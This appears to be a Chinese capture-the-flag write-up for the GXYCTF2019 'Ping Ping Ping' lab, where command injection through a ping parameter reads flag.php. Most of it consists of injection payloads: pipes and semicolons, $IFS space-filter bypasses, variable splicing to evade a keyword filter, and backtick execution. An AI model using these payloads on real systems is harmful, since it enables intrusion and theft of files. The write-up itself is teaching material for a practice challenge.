开启环境之后可以看到

[GXYCTF2019]Ping Ping Ping_反引号

 

 

加上题目是ping ping ping 

所以可以猜测是需要我们命令执行读取flag

加上?ip=127.0.0.1

​http://3d59e365-7e67-4e43-b2f5-dec887255281.node3.buuoj.cn/?ip=127.0.0.1​

[GXYCTF2019]Ping Ping Ping_反引号_02

 

 可以看到页面成功返回,我们尝试使用管道符执行我们想要执行的命令

?ip=127.0.0.1 | ls

这个时候页面返回错误

[GXYCTF2019]Ping Ping Ping_系统命令_03

 

 怀疑是空格的原因,去掉空格,改为

?ip=127.0.0.1|ls

可以看到成功执行ls

[GXYCTF2019]Ping Ping Ping_php_04

 

 目录下存在flag.php和index.php文件,尝试cat flag文件

考虑到之前的空格会被检测,我们绕过空格

绕过空格的思路一般有:

IFS

{IFS}

IFS$1 //$1改成$加其他数字貌似都行

  <

  <>

  {cat,flag.php} //用逗号实现了空格功能

20

%09

 

我们这里使用$IFS,即构造?ip=127.0.0.1|cat$IFSflag.php

不过页面显示的错误信息改变:

[GXYCTF2019]Ping Ping Ping_php_05

 

 

猜测是因为检测了flag,所以我们尝试先读取index.php

?ip=127.0.0.1|cat$IFSindex.php,还是没有显示结果,依次尝试:?ip=127.0.0.1|cat$IFS$1flag.php成功

[GXYCTF2019]Ping Ping Ping_系统命令_06

 

 可以看到对我们的输入进行了过滤,在flag贪婪匹配里面我们不将flag连着写,就不会匹配到,同时可以看到有$a变量,尝试覆盖它

变量拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源代码里面就有flag

[GXYCTF2019]Ping Ping Ping_反引号_07

 

 

另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令

而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令

?ip=127.0.0.1;cat$IFS`ls`

查看源代码可以看到index.php和flag.php的内容都显示了出来

[GXYCTF2019]Ping Ping Ping_反引号_08

 

参考链接:

​https://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/​

​https://www.jianshu.com/p/fd7f9fcc9333​